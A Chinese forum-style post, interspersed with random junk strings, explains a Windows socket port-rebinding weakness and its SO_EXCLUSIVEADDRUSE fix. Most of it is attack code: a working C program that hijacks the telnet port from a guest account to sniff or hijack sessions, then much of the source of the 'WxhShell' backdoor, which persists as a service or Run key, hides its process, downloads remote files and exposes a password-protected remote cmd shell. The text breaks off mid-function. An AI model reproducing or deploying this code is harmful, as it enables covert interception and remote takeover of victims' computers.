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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;o'>`=Y s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .(/HU Qn 5`3x(=b saddr.sin_family = AF_INET; r?u4[
Oe# }8AH/ saddr.sin_addr.s_addr = htonl(INADDR_ANY); kxJs4BY0 0e&&k bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4IW
fp&Q! --diG$x. 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >!qtue7B k>i`G5Dh 这意味着什么?意味着可以进行如下的攻击: CF3x\6.q} R<fF
^^ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p8XvfM 4RctYMz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -uN{28;@ 6|lsG6uf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8g:VfzaHu 13 h,V]ak 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 8+Tv@ ]O}e{Q> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XzIC~} i`52tH y_ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ie[X7$@ dLGHbeZ[( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WL(Y1>|j <o9i;[+H- #include tJ_Y6oFm= #include f?ycZ #include @H$8;CRM #include 02J(*_o DWORD WINAPI ClientThread(LPVOID lpParam); _R|_1xa= int main() EKO'S+~ { :LB*l5\ WORD wVersionRequested; ~)#E?:h5 DWORD ret; LK4NNZf7 WSADATA wsaData; &u^]YE{ BOOL val; x~uDCbL SOCKADDR_IN saddr; 3=U#v< SOCKADDR_IN scaddr; >o13?-S%e int err; ELV~
ayp5 SOCKET s; wZ0bD&B
SOCKET sc; a~@f,bw int caddsize; w:nH_x#C4 HANDLE mt; U]+I P;YS DWORD tid; L8n?F#q wVersionRequested = MAKEWORD( 2, 2 ); @r[SqGa: err = WSAStartup( wVersionRequested, &wsaData ); UhDf6A`] if ( err != 0 ) { l?IeZisX printf("error!WSAStartup failed!\n"); 94O\M
RQ* return -1; Z,AY<[/C } lO|LvJyx saddr.sin_family = AF_INET; y+Nw>\|S FO(QsR=\s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %5+X y|+5R5}K saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &HLG<ISw saddr.sin_port = htons(23); D1+1j:m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c2Z!Vtd { F,)+9/S& printf("error!socket failed!\n"); L_9uwua.B~ return -1; $DfK}CT } 117lhx].' val = TRUE; UrciCOQf //SO_REUSEADDR选项就是可以实现端口重绑定的 lvODhoT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /~s<@<1!X { OcWKK!A printf("error!setsockopt failed!\n");
BUwL? return -1; 0\"#Xa+}8 } <uBRLe`) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; huA?*fat //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x6JV@wA& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2gklGDJD ~9APc{"A if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) jP/Vqe%%8 { ;=IJHk1& ret=GetLastError(); <sm"3qs"_ printf("error!bind failed!\n"); vO$cF* return -1; m;4ti9 } _(?`eWo listen(s,2); K_ymA,&() while(1) :sK4mR F { NAtDt= caddsize = sizeof(scaddr); {hOS0).(w7 //接受连接请求 _:NQF7X#ug sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *k#"@ if(sc!=INVALID_SOCKET) [*It' J^ { 55ec23m mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N;YFr if(mt==NULL) fsK=]~<g { {5
pK8 printf("Thread Creat Failed!\n"); @",#'eC" break; fQ1j@{Xa } R=a4zVQ } vy5Fw&?" CloseHandle(mt); !^y;|9?O } -3?
<Ja closesocket(s); (x/:j*`K WSACleanup(); zd8A8]&- return 0; a;KdkykG } JW><&hY$" DWORD WINAPI ClientThread(LPVOID lpParam) fnr8{sr.2Z { OESKLjFt SOCKET ss = (SOCKET)lpParam;
WY>$.e SOCKET sc; h#}w18l unsigned char buf[4096]; x
~)~v?>T SOCKADDR_IN saddr; />8A?+g9u long num; "3]}V=L<5 DWORD val; \ ;]{` DWORD ret; toDi70o //如果是隐藏端口应用的话,可以在此处加一些判断 MC,Qv9m //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 u/|@iWK: saddr.sin_family = AF_INET; b'SP,}s5" saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Kv1~,j6 saddr.sin_port = htons(23); zRLJ|ejMP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uUx7>algF { >G"fMOOkW printf("error!socket failed!\n"); EpR n,[ return -1; QPLWRZu@ } hR0a5 val = 100; ud)WH|Z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \WnTpl>B { )YwEl72c ret = GetLastError(); .H M3s return -1; E(6P%(yt8 } *)B \M> if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) />I5,D'h { Md>C!c ret = GetLastError(); yc9!JJMkH return -1; nG5\vj,zB } 3t.!5L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v4E=)? { 'l\PL1 printf("error!socket connect failed!\n"); Hci>q`p# closesocket(sc); iNl<<0a closesocket(ss); %=2sz>M+ return -1; EI?8/c } vvY?8/ while(1) 5CcX'*P { _hl| 3
eW5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
r90tXx //如果是嗅探内容的话,可以再此处进行内容分析和记录 `EMGrw_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \fC;b"j num = recv(ss,buf,4096,0); bG"FN/vg if(num>0) r|ZB3L|7 send(sc,buf,num,0); $$0<
& else if(num==0) DC> R break; RJ0,7E<B num = recv(sc,buf,4096,0); Yz[Rl
^ if(num>0) _8K8Ai-~.> send(ss,buf,num,0); JBw2#ry else if(num==0) uA
=%EEZ break; Bx}"X?%S } _nzq(m1@ closesocket(ss); ,MJddbcg closesocket(sc); [cEGkz return 0 ; 9'~qA(=.? } &,PA+# Z>3~n [ywF!#'){ ========================================================== Hr}"g@ < WhH60/` 下边附上一个代码,,WXhSHELL 5"3`ss<m I+kL;YdS ========================================================== 3l`"(5 cy
mC?8< #include "stdafx.h" .Xf_U.h$*@ "8zMe L #include <stdio.h> Si~wig2 #include <string.h> ljrJC #include <windows.h> 6=JJ!`"<2 #include <winsock2.h> Cpd>xXZz&S #include <winsvc.h> '
ZTRl+ #include <urlmon.h> +ru `Zw5, =z9,=rR4 #pragma comment (lib, "Ws2_32.lib") <bCB-lG*Kb #pragma comment (lib, "urlmon.lib") rDwd!Jet [{xY3WS #define MAX_USER 100 // 最大客户端连接数 6.45^'t] #define BUF_SOCK 200 // sock buffer xA:;wV #define KEY_BUFF 255 // 输入 buffer |p+FIr+ qR2cRepV #define REBOOT 0 // 重启 x%@M*4:& #define SHUTDOWN 1 // 关机 GadY#]}( V#b*:E.cA #define DEF_PORT 5000 // 监听端口 <x;g9Z>( jM6$R1HX #define REG_LEN 16 // 注册表键长度 Ym]g0a #define SVC_LEN 80 // NT服务名长度 8,+T[S buzpmRoN) // 从dll定义API 'CqAjlj typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k)F!gV# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/ATZAgHP typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "
@"" typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^qC.bv]& 75R4[C6T // wxhshell配置信息 og+Vrd struct WSCFG { mGP%"R2X int ws_port; // 监听端口 hTby:$aCg char ws_passstr[REG_LEN]; // 口令 =|$U`~YB int ws_autoins; // 安装标记, 1=yes 0=no L&NpC&>wD char ws_regname[REG_LEN]; // 注册表键名 qx >Z@o char ws_svcname[REG_LEN]; // 服务名 ';v2ld 9 char ws_svcdisp[SVC_LEN]; // 服务显示名 cJwe4c6.m char ws_svcdesc[SVC_LEN]; // 服务描述信息 IhSXU<] char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OH n~DL2 int ws_downexe; // 下载执行标记, 1=yes 0=no k"BM1-f char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" JDnWBE V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~/SLGyu 9,Dw;|A] }; 0VR,I{<.{ 4Vf-D%
h>a // default Wxhshell configuration H|?r_Ns struct WSCFG wscfg={DEF_PORT, F [-D
+Nka "xuhuanlingzhe", O7Jp; 1, =r`E%P: "Wxhshell", Eqny'44 "Wxhshell", %(?;` "WxhShell Service", vft7-|8T "Wrsky Windows CmdShell Service", '5T:*Yh "Please Input Your Password: ", 'X&"(M 1, yl' IL#n]r " http://www.wrsky.com/wxhshell.exe", 5c%Fb:BW= "Wxhshell.exe" h=YTgJ }; <R2SV=]Sq# i+I.>L/S // 消息定义模块 }\N ~%?6D char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {}"
< char *msg_ws_prompt="\n\r? for help\n\r#>"; d--6<_q char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; u,72Mm> char *msg_ws_ext="\n\rExit."; r`)'Kd char *msg_ws_end="\n\rQuit."; +\PLUOk char *msg_ws_boot="\n\rReboot..."; *$('ous8 char *msg_ws_poff="\n\rShutdown..."; yswf2F char *msg_ws_down="\n\rSave to "; V*%><r <7ag=IgDy char *msg_ws_err="\n\rErr!"; NgxJz
]b char *msg_ws_ok="\n\rOK!"; )
AGE"M3X UAI'tRYN_ char ExeFile[MAX_PATH]; /k\)q int nUser = 0; eeBw\f0 HANDLE handles[MAX_USER]; Ix=(f0| int OsIsNt; !]7L9TGn 3dtL[aVwY SERVICE_STATUS serviceStatus; @WKJ7pt`'N SERVICE_STATUS_HANDLE hServiceStatusHandle; 3<a|_(K fx^yC.$2 // 函数声明 h;cw=G int Install(void); @2$Uk! int Uninstall(void); ^\VVx:] int DownloadFile(char *sURL, SOCKET wsh); ]nxSVKE4p int Boot(int flag); '2<N_)43$ void HideProc(void); }b<w \9AF int GetOsVer(void); NZ^hp\q int Wxhshell(SOCKET wsl); fE>JoQs38 void TalkWithClient(void *cs); =t}m int CmdShell(SOCKET sock); JkLpoe81 int StartFromService(void); eVbT<9k int StartWxhshell(LPSTR lpCmdLine); KAr5>^<zw 4>HQ2S{t VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !Xq5r8] VOID WINAPI NTServiceHandler( DWORD fdwControl ); AQ"rk9Z gd]k3XN$f // 数据结构和表定义 ?%Pi#%P SERVICE_TABLE_ENTRY DispatchTable[] = \/Zo*/ { 6LT.ng {wscfg.ws_svcname, NTServiceMain}, 1yc$b+TH {NULL, NULL} `[_p,,}Ir }; NeewV=[% E.x<J.[Y // 自我安装 V)oKsO int Install(void)
|gGD3H { gPpk0LZi char svExeFile[MAX_PATH]; &D7Mv5i0@ HKEY key; }qhND-9#@ strcpy(svExeFile,ExeFile); ZzT"u1,& 2.a{,d // 如果是win9x系统,修改注册表设为自启动 !,DA`Yt if(!OsIsNt) { |L
< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |5BvVqn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J@q!N;eh| RegCloseKey(key);
[hiV# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( d8rfet RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xUB{{8B:L RegCloseKey(key); GkdxwuRw return 0; m]VOw)mBF } 5%fR9?) } '"V]>) } +'9xTd else { 9@
^*\s 2$joM`j$ // 如果是NT以上系统,安装为系统服务 AT"!Ys| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); l27J if (schSCManager!=0) S^SF!k= { 7}Jn`^! SC_HANDLE schService = CreateService +Jq~39 ( Ehtb`Ms schSCManager, v*@R U wscfg.ws_svcname, arn7<w0 wscfg.ws_svcdisp, >6z7.d SERVICE_ALL_ACCESS, G>+iisb% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =#?=Lh SERVICE_AUTO_START, n!?u/[@ SERVICE_ERROR_NORMAL, P)06<n1">Z svExeFile, dYp} R>+ NULL, xbze{9n" NULL, }vX/55 NULL, "l-b(8n NULL, -+ Mh('K NULL {9h`h08?z ); 24d{ol) if (schService!=0) ]Cc8[ZC { -Rr Qv( CloseServiceHandle(schService); A!_yZ|)$T CloseServiceHandle(schSCManager); 'X1/tB8* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *> 7Zc strcat(svExeFile,wscfg.ws_svcname); j:J7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ccy0!re RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kwpbg Q RegCloseKey(key); .OvH<%g!. return 0; _!E/em } %`^{Hh` } hkvymHaG CloseServiceHandle(schSCManager); p!p:LSk"/b } uBxs`'C } d?1[xv; tp3
!6I6 return 1; Q`(h } r>7Dg~)V JCZ 5q9b // 自我卸载 } !RBH(m% int Uninstall(void) {{e+t8J?? { ]s^Pw>/` HKEY key; >$N ?\\# Mp`i@pm+ if(!OsIsNt) { APL #-`XC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !1ZrS RegDeleteValue(key,wscfg.ws_regname); \kVi&X=q: RegCloseKey(key); ./E<v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gjex; h RegDeleteValue(key,wscfg.ws_regname); `ouCQ]tKz RegCloseKey(key); OE_A$8L return 0; >Gi*BB } *odwg$ } ttA0*
>' } QB#rf=' else { #H/suQZN"g w2o5+G= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2f7]=snCG if (schSCManager!=0) iP+3) { \tZZn~ex SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A&($X)t if (schService!=0) gC\^"m { _16IP if(DeleteService(schService)!=0) { Q
a8;MxK` CloseServiceHandle(schService); Fd/.\s CloseServiceHandle(schSCManager); {{ /-v3n return 0; ])uhm)U@ } 2vx1M6a)L CloseServiceHandle(schService); g~Agy } ,)7y?*D} CloseServiceHandle(schSCManager); a) 5;Od } Vo:Gp } =hDFpb,mr *HXx;: return 1; x*2I]4 } k1Thjt g|PRk9 // 从指定url下载文件 x^P ~+(g int DownloadFile(char *sURL, SOCKET wsh) >'96SE3 { X*Cvh| HRESULT hr; R`!'c(V char seps[]= "/"; ^Y-
S"Ks char *token; vK~tgZ& char *file; 0z:BSdno char myURL[MAX_PATH]; mnS F=l;; char myFILE[MAX_PATH]; sDzlNMr?P+ BP`'1Ns strcpy(myURL,sURL); Fy-N U token=strtok(myURL,seps); PcK;L( while(token!=NULL) a.!|A(zw { Y; OqdO file=token; B$@fE} token=strtok(NULL,seps); 2P4$^G[ } tX *}l|;( >xJh!w<pB GetCurrentDirectory(MAX_PATH,myFILE); w,v~ strcat(myFILE, "\\"); |B/A)(c
yV strcat(myFILE, file); AEr8^6 send(wsh,myFILE,strlen(myFILE),0); !$5.\D send(wsh,"...",3,0); F F7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ua=w;h if(hr==S_OK) !<I3^q return 0;
( :ObxJ* else @#= ail return 1; ^J{tOxO=l 1pT-PO3= } iF1E 5{dH "<5su5] // 系统电源模块 60r4%>d int Boot(int flag) =&
.KKr { [$[1|r
*Q HANDLE hToken; ^jxV TOKEN_PRIVILEGES tkp; tV5Uz&:b I? o)X! if(OsIsNt) { (#`1[n+b`x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v?en-,{A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r^,XpRe&M tkp.PrivilegeCount = 1; ,Kw]V %xOb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BqA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2AK]x`GY if(flag==REBOOT) { DsZBhjCB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a= *qsgPGL return 0; e;ej/)no` } ="*:H) else { i1E~ F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f R?Xq@c return 0; N
2\lBi } 8kwe ._&) } Bw;LGEHi| else { /:],bNb if(flag==REBOOT) { l[D5JnWxt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p2Fff4nQ return 0;
{j{H@rHuy } a.O pxd else { p^uX{! if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R<GnPN:c return 0; G$)f5_]7{ } >PBP:s1f4> } eVy> ,m)k;co^ return 1; !QTfQ69Y0 } ;@R=CQ6 2GRdfX // win9x进程隐藏模块 qB0F9[U void HideProc(void) B<p -.tv { ;&N=t64" vL,:Yn@b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &+v!mw > if ( hKernel != NULL ) Xbp~cn { v3`k?jAaI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZFNn(n ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &rmXz6F FreeLibrary(hKernel); l9eCsVQ~V } ][IEzeI_LN )* \N[zm return; d}2$J1` } wG\ +C'&~ Wu!s // 获取操作系统版本 !iO%?nW; int GetOsVer(void) 6yN8(&` { SZhW)0 OSVERSIONINFO winfo; Z&VH7gi winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x]=s/+Y GetVersionEx(&winfo); 7ZsBYP8% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k,mgiGrQ return 1; c\\'x\J7 else BS_ 3| return 0; AJ0
;wx } ^DWvzfj ]?#E5(V@x // 客户端句柄模块 % >\v6ea int Wxhshell(SOCKET wsl) >&z=ktB { =5v=<, ] SOCKET wsh; */7+pk( struct sockaddr_in client; Tt.#O~2:9 DWORD myID; Zr%,F[j? (5Z*m<]c while(nUser<MAX_USER) ~7$4w# of0 { _,?<r&>v6 int nSize=sizeof(client); Q2L>P<87T wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y|7sh if(wsh==INVALID_SOCKET) return 1; ~.*G%TW &V Fzc8) *w handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +=:*[JEK,U if(handles[nUser]==0) pp2,d`01[L closesocket(wsh); RiPxz=kr else !)1gGXRY nUser++; %\|9_=9Wn } Us.")GiHE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~mR@L `"l t6+c"=P# return 0; ]"2;x } C2[* $ 1U .EF(<JC? // 关闭 socket b 5u8j void CloseIt(SOCKET wsh) ZgzjRa++ { I+VL~'VlS closesocket(wsh); BIk0n;Kz<L nUser--; xRI7_8Jpyn ExitThread(0); 8?za&v } RZgklEU LrGLIt` // 客户端请求句柄 =sYUzYm void TalkWithClient(void *cs) `Q@w*ta) { .T63: 5vmc'Om SOCKET wsh=(SOCKET)cs; sgGXj7 char pwd[SVC_LEN]; $\w<.)"# char cmd[KEY_BUFF]; OtVRhR3> char chr[1]; ]2 7 int i,j; )43\q Iu\ Y_gMoo while (nUser < MAX_USER) { @BfJb[A# l@irAtg4 if(wscfg.ws_passstr) { l:i&l?>_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0'QX*xfa> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d5z=fH9 //ZeroMemory(pwd,KEY_BUFF); 2&,jO+BqE@ i=0; tpY]Mz[J while(i<SVC_LEN) { v><c@a=[ :]rb} 1nLB // 设置超时 `k.Tfdu)K fd_set FdRead;
mdtG W struct timeval TimeOut; %tvP\(]h FD_ZERO(&FdRead); cS2PrsUx FD_SET(wsh,&FdRead); 4m:D8&D_M TimeOut.tv_sec=8; ^7Hwpn7E TimeOut.tv_usec=0; C$+z1z.! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X7g@.Oy` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JH|]B|3 Sk6B>O <: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =.48^$LWx pwd =chr[0]; \x7^ly$_ if(chr[0]==0xd || chr[0]==0xa) { g!\H^d4 pwd=0;
@BmI1 break; !S3^{l- } ixY[ HDPq i++; [X%Wg:K } Z^[
]s1iP} Img$D*BM // 如果是非法用户,关闭 socket
Nt
w?~% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0z
=?}xr } l"rX'g? )yt_i'D} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (Qcd !! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #
E{2 !Z yp!7^ while(1) { A/c #2 )Ggv_mc h ZeroMemory(cmd,KEY_BUFF); Pxvf"SXX ZamOYkRX // 自动支持客户端 telnet标准 N;q)[Dr j=0; B{lj.S`mB while(j<KEY_BUFF) { Bc*FH>E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &|K9qa~)Y cmd[j]=chr[0]; `6:B0-r if(chr[0]==0xa || chr[0]==0xd) { qI%X/' cmd[j]=0; Z_h-5VU- break; j2RdBoCt } 0sA+5*mdM j++; KSAE!+ } ;I/ A8<C i,B<k 0W9 // 下载文件 dJjkH6%} if(strstr(cmd,"http://")) { S?[@/35)
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7C9_;81_Dt if(DownloadFile(cmd,wsh)) /os,s[w send(wsh,msg_ws_err,strlen(msg_ws_err),0); }3}H} else *N&~Uq^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZYS]Et[Q } |JLXgwML else { oMNSQMlI T' > MXFLh switch(cmd[0]) { &\y`9QpVF ^m/7TwD // 帮助 ^~;"$=Wf case '?': { 7|PB6h3 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ii&\LJ break; RG.wu6Av } <Ej`zGhWz // 安装 1{AK=H') case 'i': { 82M`sk3. if(Install()) #:NY9.\o send(wsh,msg_ws_err,strlen(msg_ws_err),0); ni85Ne$ else 2e9.U/9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ifcp!l+8 break; \iP5.3C } _CMNmmp`e // 卸载 7Fx0#cS"\ case 'r': { Yi j^hs@eV if(Uninstall()) hXh nJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ae[fW97 else SLW|)Q24 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G*f\
/ break; +[rQf<* } ,`bmue5 // 显示 wxhshell 所在路径 klR\7+lK case 'p': { .1+I8qj char svExeFile[MAX_PATH]; v5\5:b{/ strcpy(svExeFile,"\n\r"); V}Ee1C strcat(svExeFile,ExeFile); :,ucJ| send(wsh,svExeFile,strlen(svExeFile),0); y_'6bpb break; U=WS] } x5|^p= // 重启 j5[Y0)pV\ case 'b': { $XI.`L *g send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M-Ek(K3SRf if(Boot(REBOOT)) ^IKT!"J&? send(wsh,msg_ws_err,strlen(msg_ws_err),0); edo+ o{^ else { nMK$&h,{ closesocket(wsh); k1.%ZZMM ExitThread(0); c'>_JlG~ } x"n++j break; & 'CUc/, } npd:a Gx // 关机 15S&,$1& case 'd': { {;N2 &S o send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uM\5GK if(Boot(SHUTDOWN)) -xG6J.S send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bi2 c5[3 else { sh R| closesocket(wsh); UwxszEHC ExitThread(0); }<YU4EW } /,_m\JkwL break; Z5p
[*LMO } h*R w^5,c // 获取shell {a__/I>) case 's': { S:XsO9:{ CmdShell(wsh); 7=D,D+f closesocket(wsh); ,5x#o ExitThread(0); S@'%dN6e break; :..WL;gC } 5DDSo0E // 退出 SK#&%Yk case 'x': { %E5b}E# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 16>D?;2o( CloseIt(wsh); P2@Z7DhQ break; q^:VF()d_z } 5rmU9L // 离开 j XH9Pq4 case 'q': { 3FtL<7B'. send(wsh,msg_ws_end,strlen(msg_ws_end),0); \_ closesocket(wsh); p="0Y<2l WSACleanup(); J?dLI_{< exit(1); !Sw=ns7 break; OIJT~Z} } v$D U
q+ } x5CMP%}d } ?%[~J :G6aO // 提示信息 r^a:s] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T-#4hY` } `/Rqt+C } ,/%'""`w q-+:1E return; O5aXa_A_u } @gfW*PNjlP lKB9n}P // shell模块句柄 l^d' 8n int CmdShell(SOCKET sock) >[Wjzg { 0k{\W STARTUPINFO si; b"Q8[k |d ZeroMemory(&si,sizeof(si)); Aj|->Y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )|v y}Jf7 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s[sv4hq PROCESS_INFORMATION ProcessInfo; 14"57Jt8 char cmdline[]="cmd"; J
jm={+@+ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eZ+6U`^t return 0; 0ki- /{; } XPU>} 4{ |1"&[ . // 自身启动模式 EG`6T int StartFromService(void) k#zDY*kj { 9(J,&)J typedef struct n|{#5# { SDC'S]{ew DWORD ExitStatus; N[e,%heR DWORD PebBaseAddress; 5 ty2e`~K DWORD AffinityMask; /IG{j} DWORD BasePriority; ROmmak(y8 ULONG UniqueProcessId; -2; 6Pwmv ULONG InheritedFromUniqueProcessId; 6^WNwe\ } PROCESS_BASIC_INFORMATION; bY2R/FNL= 3i7EF. PROCNTQSIP NtQueryInformationProcess; F_(~b s*[
